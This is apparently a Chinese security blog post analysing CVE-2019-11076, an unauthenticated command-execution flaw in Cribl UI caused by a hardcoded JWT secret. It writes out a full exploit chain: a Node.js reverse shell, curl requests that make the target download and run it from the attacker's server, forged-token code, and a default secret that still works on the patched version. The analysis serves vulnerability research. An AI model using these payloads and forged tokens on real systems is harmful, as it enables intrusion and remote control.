读书日记十一

前言

每天一小步,进步一大步。CVE-2019-11076 Cribl UI 1.5.0未授权命令执行漏洞分析

背景
1
2
3
4
5
6
7
8
已在Cribl v1.5.0上进行了测试-先前版本未经过测试,但可能容易受到攻击。
可以从另一个Cribl实例的会话中转移有效的JWT令牌并将其注入到该会话中,从而为用户提供未经授权的访问权限。
此外,用于生成JWT / Session的加密密钥可用于为任何用户名创建有效的会话,且有效期延长。

结合使用在Cribl中运行脚本的功能,远程攻击者可以在Crible实例上运行恶意代码,以获得进一步的控制。
可以在下面看到这样的示例,使用脚本页面和有效期很长的JWT令牌,可以创建反向外壳。

使用Docker(Alpine)进行了测试。
环境搭建
根据作者的描述,该问题在1.5.0上被验证存在,之前的版本不排除有该问题,但作者尚未验证,因此这里使用1.4.3的环境进行测试:
1
2
3
4
# pull docker
docker pull cribl/cribl:1.4.3
# run docker
docker run -p 9000:9000 -d cribl/cribl:1.4.3
然后访问 9000 端口,可以看到如下页面,使用 admin/admin 即可登录:

漏洞测试
根据作者的描述,该漏洞属于任意命令执行的漏洞,但由于没有回显,需要通过反弹 shell 的方式获得可以交互的命令行。考虑到 cribl 本身具有 nodejs 环境,因此可以考虑结合 nodejs 的反弹 shell 脚本进行攻击。
因此,漏洞的利用思路如下:
1.使用 wget 或其他方式将反弹 shell 的脚本写入受影响的环境
2.利用 nodejs 执行该脚本,反弹 shell
第一步,先在自己的 vps 上部署 nodejs 的反弹 shell 脚本(这里需要将YOUR_REMOTE_IP_OR_FQDN 替换为具体的地址或域名):
1
2
3
4
var net = require("net"), sh = require("child_process").exec("/bin/sh");
var client = new net.Socket();
client.connect(6669, "YOUR_REMOTE_IP_OR_FQDN", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);
sh.stderr.pipe(client);});
然后准备好监听6669端口
1
nc -lvp 6669
下一步就是使用任意命令执行的漏洞,先利用wget下载反弹shell的脚本:
1
2
3
4
5
6
7
# wget
curl 'http://192.168.220.154:9000/api/v1/system/scripts' \
-H 'Content-Type: application/json' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{"id":"runme","command":"/usr/bin/wget","args":["http://192.168.220.157:8302/php_file/shell.js","-P","/opt"],"env":{}}' --compressed

# {"count":1,"items":[{"command":"/usr/bin/wget","args":["http://192.168.220.157:8302/php_file/shell.js","-P","/opt"],"env":{},"id":"runme"}]}
1
2
3
4
5
6
7
# exec wget
curl 'http://192.168.220.154:9000/api/v1/system/scripts/runme/run' \
-H 'Content-Type: application/json' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{}' --compressed

# {"pid":29,"stdout":"N/A","stderr":"N/A"}
1
2
3
4
5
6
7
# nodejs
curl 'http://192.168.220.154:9000/api/v1/system/scripts' \
-H 'Content-Type: application/json'\
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{"id":"reverseit","command":"node","args":["/opt/shell.js"],"env":{}}' --compressed

# {"count":1,"items":[{"command":"node","args":["/opt/shell.js"],"env":{},"id":"reverseit"}]}
1
2
3
4
5
6
# exec nodejs
curl 'http://192168.220.154:9000/api/v1/system/scripts/reverseit/run' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{}' --compressed

# {"pid":37,"stdout":"N/A","stderr":"N/A"}
成功反弹 shell:

PS:原作者 poc 中有一个很奇怪的地方,第二次未授权访问的时候使用了一个错误的 Cookie…
漏洞分析
下面来看继续分析这个漏洞的成因,可以看到任意命令执行是该应用自带的功能。访问http://192.168.220.154:9000/settings/scripts可以看到之前 poc 所生成的两项:

如果我们使用授权的admin/admin账号,可以直接增加并执行命令:

所以该漏洞的主要问题在于未授权,即未登陆的状态下也可以利用伪造的 JWT token进行任意命令执行。
下面结合源码来分析漏洞所在。可以看到文件夹结构如下:

结合dockerentrypoint.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/bin/sh

# Assumed to be an s3 location
if [ -n "$CRIBL_CONFIG_LOCATION" ]; then
aws s3 sync "$CRIBL_CONFIG_LOCATION" /opt/cribl/local/cribl
fi

if [ -n "$CRIBL_SCRIPTS_LOCATION" ]; then
mkdir -p /opt/cribl/scripts
aws s3 sync "$CRIBL_SCRIPTS_LOCATION" /opt/cribl/scripts
chmod -R 755 /opt/cribl/scripts
fi

if [ "$1" = "cribl" ]; then
node /opt/cribl/bin/cribl.bundle.js server
fi

exec "$@"
以及start.sh:
1
2
3
4
5
6
7
8
9
10
11
#!/bin/bash

NODECMD=node
STARTCMD="$NODECMD cribl.bundle.js server"
echo "$STARTCOMD"

DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
cd $DIR

# exec the command so it can receive kill signals
exec $STARTCMD
可以看到最核心的代码为cribl.bundle.js,进入分析:

可以很明显看到该代码是由webpack之类工具打包生成的了。。第一眼看上去一头雾水那么就需要结合一定的技巧进行分析,可以搜索关键词cribl_auth,因为Cookie中的cribl_auth字段即JWT token,定位到下图的关键代码:
美化之后如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
var f = "d2hvIGxldCB0aGUgZG9ncyBvdXQ=";
var p = 4 * 3600;
var h = "cribl_auth";
var d = "/auth";
var v = "Bearer ";
var m = [d + "/"];

function y(e, t, r) {
if (e.method === "OPTIONS") {
r();
return
}
for (var n = 0; n < m.length; n++) {
if (e.path.startsWith("" + m[n])) {
r();
return
}
}
var i = e.cookies && e.cookies[h];
if (!i) {
var o = e.header("authentication");
if (o && o.startsWith(v)) {
i = o.substr(v.length)
}
}
try {
a.decode(i || "", f);
r()
} catch (e) {
t.sendStatus(401)
}
}
可以看到逻辑非常简单,只要jwt token解码成功即可通过验证,而且无需如admin之类的特定用户名。结合作者的描述,可以认为只要还是硬编码的secret d2hvIGxldCB0aGUgZG9ncyBvdXQ=增大了伪造的可能性降低了程序的安全性。
下面我们看看这个secret:
1
2
echo "d2hvIGxldCB0aGUgZG9ncyBvdXQ=" | base64 -d
who let the dogs out
最后我们来看看开发者使用了那个库来生成jwt token的搜索JWT关键字:
在搜索的时候我们可以看到下面的关键字也是非常重要的。
1
2
3
4
var a={HS256:"hmac",HS384:"hmac",HS512:"hmac",RS256:"sign"};
o.version="0.5.1";
throw new Error("Algorithm not supported")
throw new Error("Token not yet active")
可以看到诸如版本信息,报错信息等关键字符串,结合上述信息进行搜索,可以搜到:
https://github.com/hokaccha/node-jwt-simple
下面我们来验证一下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
const jwt = require('jwt-simple');
const payload = {
"username": "admin",
"exp": 9999999999
};
const secret = 'd2hvIGxldCB0aGUgZG9ncyBvdXQ=';

// encode
const token = jwt.encode(payload, secret);
console.log(token);

// decode
const decoded = jwt.decode(token, secret);
console.log(decoded);
可以看到和poc的原作者所使用的cookie是一样的:
1
2
3
4
$ node ./Test.js
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk
5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY
{ username: 'admin', exp: 9999999999 }
修复
让我们看看后续版本是如何修复的,老规矩,使用 v1.5.1 版本的 image,映射到 9001 端口:
1
2
3
4
# pull docker
docker pull cribl/cribl:1.5.1
# run docker
docker run -p 9001:9000 -d cribl/cribl:1.5.1
可以看到之前的 exp 已经不能生效了:
1
2
3
4
5
6
7
curl 'http://192.168.220.154:9001/api/v1/system/scripts' \
-H 'Content-Type: application/json' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{"id":"runme","command":"/usr/bin/wget","args":["http://192.168.220.157:8302/php_file/shell.js","-P","/opt"],"env":{}}' --compressed

# output
# Unauthorized
跟进源码,查看 v1.5.1 对程序进行了何种修改:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
var p = 4 * 3600;
var d = "cribl_auth";
var h = "/auth";
var m = "Bearer ";
var v = [h + "/"];
var g;

function y() {
if (!g) {
g = l.getCreateCriblSecret()
}
return g
}

function b(e, t, r) {
if (e.method === "OPTIONS") {
r();
return
}
for (var n = 0; n < v.length; n++) {
if (e.path.startsWith("" + v[n])) {
r();
return
}
}
var i = e.cookies && e.cookies[d];
if (!i) {
var o = e.header("authorization");
if (o && o.startsWith(m)) {
i = o.substr(m.length)
}
}
y().then(function (e) {
var t = a.decode(i || "", e);
if (!t.username) throw new Error("Invalid auth token, missing username");
r()
}).catch(function (e) {
t.sendStatus(401)
})
}

// 其中 l.getCreateCriblSecret = w

function w() {
if (!b) {
var e = c.join(process.env.CRIBL_HOME || "", "local", "cribl", "auth", "cribl.secret");
b = o.callbackToPromise(l.readFile, e).catch(function (t) {
return u.mkdirp(c.dirname(e)).then(function () {
var t = a.randomBytes(256).toString("base64");
return u.atomicFileWrite(e, t).then(function () {
return t
})
})
}).then(function (e) {
return Buffer.from(e.toString(), "base64")
})
}
return b
}
可以看到关键的secret不再硬编码,改成了从/opt/local/cribl/auth/cribl.secret该文件中进行读取。
那么考虑到使用docker中自带的密钥,是否可以伪造 cookie?
1
2
3
4
5
6
7
8
9
10
11
12
13
var jwt = require('jwt-simple');
var payload = {
"username": "admin",
"exp": 9999999999
};

// encode
var secret = Buffer.from("vCN2P8hvUL2mvY6JZ5HhkXyNJzaSVvhOhBuZF9h34K6UbrhbPnr23/shnY09hZPUpKOTDIMql1POyPOOEygj67LPyYd57hxLmMgbVQ8IcsxLF3pu+gcc0qzrgzInWpSRXL0t4hTKDhRwR94xo/1G0nZfG8uh8M7jH3Wnr80Jujnyx0fjYhq1sWTd3ESnT2c8fUtqLwyEyx2yGeXKp+pXmrIYgFtjxDemsuUVzZlrj/fTgF+IlgWS2cxxkBRpAxxVurfZVE1E3oP8VM+73QMFOMcWrT8ABqEvhFhGBC/izNR7lKF7rkDjkwftc8UY0uvDOImaC/H/GM3ab53pyDdcNQ==", "base64")
var token = jwt.encode(payload, secret);

// decode
var decoded = jwt.decode(token, secret);
console.log(decoded);
实验成功了。。只能说如果开发者在生产环境中不换默认的 secret 最后还是会翻车,照样未授权 RCE。
1
2
3
4
5
6
curl 'http://192.168.220.154:9001/api/v1/system/scripts' \
-H 'Content-Type: application/json' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.zRHkFfc7WtMIqFtfvSd2FUyxHxW8TlnVZtn87sNMVYc' \
--data-binary '{"id":"list","command":"ls","args":["-al"],"env":{}}' --compressed
# output
# {"count":1,"items":[{"command":"ls","args":["-al"],"env":{},"id":"list"}]}
总结
事实又一次强调了开发过程中注意安全的重要性,但在这波分析之后,个人感觉这个洞本质上有点弱?之前版本的问题主要在于硬编码密钥,之后的版本改为了通过配置文件配置密钥。但这种配置方式在某种程度上仍然存在一定问题,比如开发者在生产环境中没有配置新的密钥,那用默认的密钥同样可以伪造签名。。
参考链接
https://xz.aliyun.com/t/7139#toc-3
https://jwt.io/